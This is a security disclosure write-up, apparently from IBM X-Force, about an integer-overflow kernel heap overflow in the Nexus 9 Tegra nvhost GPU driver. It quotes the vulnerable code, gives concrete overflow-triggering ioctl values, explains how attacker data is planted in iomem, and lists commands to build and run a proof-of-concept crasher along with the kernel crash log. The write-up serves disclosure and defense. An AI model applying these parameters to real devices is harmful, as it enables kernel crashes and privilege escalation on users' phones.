Nexus 9: Untrusted App to Kernel Heap Overflow

Sagi Kedmi

IBM X-Force

1 Synopsis

The `nvhost` GPU driver for the Tegra kernel contains a heap overflow in the `NVHOST_IOCTL_CTRL_MODULE_REGRDWR ioctl` command. The bug results from an integer overflow that makes the kernel allocate a small heap buffer, and eventually overrun it. The current `SELinux sepolicy` allows any `untrusted_app` to trigger it.

The vulnerability was verified on the latest images to-date (using an app with `JNI`):

```
shell@flounder_lte:/ $ getprop ro.build.fingerprint
google/volantisg/flounder_lte:6.0.1/MOB30M/2862625:user/release-keys
```

And,

```
shell@flounder:/ $ getprop ro.build.fingerprint
google/volantis/flounder:6.0.1/MOB30M/2862625:user/release-keys
```

2 Vulnerable Code

The following piece of code is taken from here [1]. In line `19` there is an integer overflow. Both `num_offsets` and `args->block_size` are controllable from user space, and apart from line `14`, they are not verified for correctness.

For example, a malicious app may use `num_offsets = 1685623` and `args->block_size= 2548`, which makes the kernel allocate a heap buffer of size `108` at `val`, since:

$$2548 * 1685623 \equiv 108 \pmod{2^{32}}$$

```
1  static int nvhost_ioctl_ctrl_module_regrdwr(struct nvhost_ctrl_userctx *ctx,
2          struct nvhost_ctrl_module_regrdwr_args *args)
3  {
4      u32 num_offsets = args->num_offsets;
5      u32 __user *offsets = (u32 *)(uintptr_t)args->offsets;
6      [...]
7      u32 *vals;
8      u32 *p1;
9      int remaining;
10     int err;
11
12     struct platform_device *ndev;
13     [...]
14     if (num_offsets == 0 || args->block_size & 3)
15         return -EINVAL;
16     ndev = nvhost_device_list_match_by_id(args->id);
17     [...]
```

```
18      remaining = args->block_size >> 2;
19      vals = kmalloc(num_offsets * args->block_size, GFP_KERNEL);
20      [...]
21      p1 = vals;
22
23      if (args->write) {
24      [...]
25      } else {
26      while (num_offsets--) {
27          u32 offs;
28          if (get_user(offs, offsets)) {
29          [...]
30          }
31          offsets++;
32          err = nvhost_read_module_regs(ndev, offs, remaining, p1);
33          [...]
34          p1 += remaining;
35      }
36      [...]
37      }
38      return 0;
39  }
```

The actual buffer overrun happens when `nvhost_read_module_regs()` is invoked (line 32, above). Taking our previous example, where `num_offsets = 1685623` and `args->block_size= 2548`, `nvhost_read_module_regs()` is fed with `remaining=637`, `p1=val` (a heap allocated buffer of size 108) and `offs` (an offset, also controllable from user space).

As can be seen below (code taken from [2]), a `while` loop is used to copy contents from an `iomem` memory portion using `readl()`.

```
int nvhost_read_module_regs(struct platform_device *ndev,
            u32 offset, int count, u32 *values)
{
    void __iomem *p = get_aperture(ndev);
    int err;
    [...]
    /* verify offset */
    err = validate_reg(ndev, offset, count);
    [...]
    err = nvhost_module_busy(ndev);
    [...]
    p += offset;
    while (count--) {
        *(values++) = readl(p);
        p += 4;
    }
    [...]
}
```

As can be seen below (code taken from [3]), `validate_reg()` validates that the combination of `offset` and `count` are within the `resource_size(r)` (which was 262144, according to our `printks`).

```
static int validate_reg(struct platform_device *ndev, u32 offset, int count)
{
    int err = 0;
    struct resource *r;
```

```
    struct nvhost_device_data *pdata = platform_get_drvdata(ndev);
    [...]
    r = platform_get_resource(pdata->master ? pdata->master : ndev,
            IORESOURCE_MEM, 0);
    [...]
    if (offset + 4 * count > resource_size(r)
            || (offset + 4 * count < offset))
        err = -EPERM;
    return err;
}
```

But, the question of "is it exploitable?" is now reduced to the following: Can we inject content to that `iomem` memory portion prior to the heap buffer overrun?

3 Exploitation

Luckily, when `args->write` is set to 1, the same `ioctl` command, NVHOST_IOCTL_CTRL_MODULE_REGRDWR, allows an attacker to make the kernel copy data from user space (using `args->values`) to that same `iomem` memory portion that is used to overrun the heap buffer.

```
static int nvhost_ioctl_ctrl_module_regrdwr(struct nvhost_ctrl_userctx *ctx,
    struct nvhost_ctrl_module_regrdwr_args *args)
{
    u32 num_offsets = args->num_offsets;
    u32 __user *offsets = (u32 *)(uintptr_t)args->offsets;
    u32 __user *values = (u32 *)(uintptr_t)args->values;
    u32 *vals;
    u32 *p1;
    int remaining;
    int err;

    struct platform_device *ndev;
    [...]
    if (num_offsets == 0 || args->block_size & 3)
        return -EINVAL;
    ndev = nvhost_device_list_match_by_id(args->id);
    [...]
    remaining = args->block_size >> 2;
    vals = kmalloc(num_offsets * args->block_size, GFP_KERNEL);
    [...]
    p1 = vals;

    if (args->write) {
        if (copy_from_user((char *)vals, (char *)values,
                num_offsets * args->block_size)) {
            kfree(vals);
            return -EFAULT;
        }
        while (num_offsets--) {
            u32 offs;
            if (get_user(offs, offsets)) {
                [...]
            }
            offsets++;
            err = nvhost_write_module_regs(ndev,
```

```
                     offs, remaining, p1);
            [...]
            p1 += remaining;
        }
        [...]
    } else {
        [...]
    }
    return 0;
}
```

```
int nvhost_write_module_regs(struct platform_device *ndev,
                             u32 offset, int count, const u32 *values)
{
    int err;
    void __iomem *p = get_aperture(ndev);
    [...]
    /* verify offset */
    err = validate_reg(ndev, offset, count);
    [...]
    err = nvhost_module_busy(ndev);
    [...]
    p += offset;
    while (count--) {
            writel(*(values++), p);
            p += 4;
    }
    [...]
    return 0;
}
```

Using the `ioctl` command, I tried to write 'z' (`7a`) characters to the entire `iomem` memory portion, but apparently only the following addresses were written to deterministically:

```
[   31.196277] SAGI: AFTER WRITE: p=ffffff8002a0003c, *p=7a7a7a7a
[   31.196284] SAGI: AFTER WRITE: p=ffffff8002a00040, *p=7a7a7a7a
[   31.196292] SAGI: AFTER WRITE: p=ffffff8002a00044, *p=7a7a7a7a
[   31.196299] SAGI: AFTER WRITE: p=ffffff8002a00048, *p=7a7a7a7a
[   31.196307] SAGI: AFTER WRITE: p=ffffff8002a0004c, *p=7a7a7a7a
[   31.196315] SAGI: AFTER WRITE: p=ffffff8002a00050, *p=7a7a7a7a
[   31.196551] SAGI: AFTER WRITE: p=ffffff8002a00118, *p=7a7a7a7a
[   31.196563] SAGI: AFTER WRITE: p=ffffff8002a00128, *p=7a7a7a7a
[   31.196572] SAGI: AFTER WRITE: p=ffffff8002a00130, *p=7a7a7a7a
[   31.196581] SAGI: AFTER WRITE: p=ffffff8002a00138, *p=7a7a7a7a
[   31.196589] SAGI: AFTER WRITE: p=ffffff8002a00140, *p=7a7a7a7a
[   31.196597] SAGI: AFTER WRITE: p=ffffff8002a00148, *p=7a7a7a7a
[   31.196606] SAGI: AFTER WRITE: p=ffffff8002a00150, *p=7a7a7a7a
[   31.196630] SAGI: AFTER WRITE: p=ffffff8002a00190, *p=7a7a7a7a
[   31.196682] SAGI: AFTER WRITE: p=ffffff8002a00218, *p=7a7a7a7a
[   31.196693] SAGI: AFTER WRITE: p=ffffff8002a00228, *p=7a7a7a7a
[   31.196702] SAGI: AFTER WRITE: p=ffffff8002a00230, *p=7a7a7a7a
[   31.196726] SAGI: AFTER WRITE: p=ffffff8002a00238, *p=7a7a7a7a
[   31.196735] SAGI: AFTER WRITE: p=ffffff8002a00240, *p=7a7a7a7a
[   31.196743] SAGI: AFTER WRITE: p=ffffff8002a00248, *p=7a7a7a7a
[   31.196756] SAGI: AFTER WRITE: p=ffffff8002a00250, *p=7a7a7a7a
[   31.196782] SAGI: AFTER WRITE: p=ffffff8002a00290, *p=7a7a7a7a
[   31.204535] SAGI: AFTER WRITE: p=ffffff8002a00844, *p=7a7a7a7a
[   31.204565] SAGI: AFTER WRITE: p=ffffff8002a00878, *p=7a7a7a7a
[   31.204707] SAGI: AFTER WRITE: p=ffffff8002a00a6c, *p=7a7a7a7a
[   31.204729] SAGI: AFTER WRITE: p=ffffff8002a00aa0, *p=7a7a7a7a
```

An attacker can now meticulously craft an `ioctl` payload, with the correct `offset` and heap buffer size, to overrun the buffer with his chosen data. The way for a kernel heap exploit is now paved.

At this point I decided to disclose the vulnerability. The attached `crasher` will crash Nexus 9's kernel (both LTE and WI-FI) in a **non-determinstic manner** (yet! ☻). I'm still working to make it more reliable.

4 Proof of Concept

To reproduce, please use `crasher.c` (or simply the given `crasher` aarch64 ELF), as follows:

```
$ aarch64-linux-gnu-gcc -static crasher.c -o crasher
$ adb push crasher /data/local/tmp
$ adb shell
shell@flounder_lte:/ $ /data/local/tmp/crasher
```

After the device crashes, you should find a crash dump in `/sys/fs/pstore/console-ramoops` of the following sort:

```
[...]
[   31.295987] Unable to handle kernel paging request at virtual address 7a7a7a7a00000012
[   31.296002] pgd = ffffffc00c385000
[   31.296009] [7a7a7a7a00000012] *pgd=0000000000000000
[   31.296020] Internal error: Oops: 96000004 [#1] PREEMPT SMP
[   31.296032] CPU: 1 PID: 1522 Comm: ndroid.apps.gcs Tainted: G        W    3.10.40-g2700fb3-dirty
```

```
[   31.296040] task: ffffffc00d67c980 ti: ffffffc00c3c4000 task.ti: ffffffc00c3c4000
[   31.296053] PC is at rb_next+0x1c/0x64
[   31.296062] LR is at binder_get_ref_for_node+0x120/0x2a8
[   31.296069] pc : [<ffffffc000304820>] lr : [<ffffffc000785894>] pstate: 20000045
[   31.296074] sp : ffffffc00c3c7a80
[   31.296080] x29: ffffffc00c3c7a80 x28: ffffff80075801ec
[   31.296091] x27: ffffffc04f175e28 x26: ffffffc0010c2618
[   31.296101] x25: ffffffc05003f4a0 x24: ffffffc04f175e00
[   31.296112] x23: ffffffc05003f4a0 x22: ffffffc0505e5280
[   31.296122] x21: ffffffc05003f4a8 x20: ffffffc0505e5400
[   31.296132] x19: ffffffc04f175e20 x18: 00000055665ba1c8
[   31.296142] x17: 0000007fa315fc10 x16: ffffffc0001a907c
[   31.296152] x15: ffffff8007580150 x14: ffffff8007580140
[   31.296163] x13: 0000000000000080 x12: 0000000000000074
[   31.296173] x11: 0000000000000035 x10: 0000000000000001
[   31.296183] x9 : 0000000000000040 x8 : ffffffc00c3c4000
[   31.296193] x7 : ffffffc050d64fa0 x6 : ffffffc050d64fa1
[   31.296204] x5 : ffffffc05003f3a0 x4 : ffffffc05003f4a0
[   31.296215] x3 : ffffffc03d80ff88 x2 : 7a7a7a7a00000002
[   31.296225] x1 : 7a7a7a7a00000002 x0 : ffffffc0539b4708
[...]
```

References

[1] Tegra's Android Kernel Tree. IOCTL handling. https://android.googlesource.com/kernel/tegra/+/android-tegra-flounder-3.10-marshmallow-mr2/drivers/video/tegra/host/host1x/host1x.c#315. [Online; accessed 22-June-2016].

[2] Tegra's Android Kernel Tree. Read from device iomem. https://android.googlesource.com/kernel/tegra/+/android-tegra-flounder-3.10-marshmallow-mr2/drivers/video/tegra/host/bus_client.c#110. [Online; accessed 22-June-2016].

[3] Tegra's Android Kernel Tree. Validate offset. https://android.googlesource.com/kernel/tegra/+/android-tegra-flounder-3.10-marshmallow-mr2/drivers/video/tegra/host/bus_client.c#59. [Online; accessed 22-June-2016].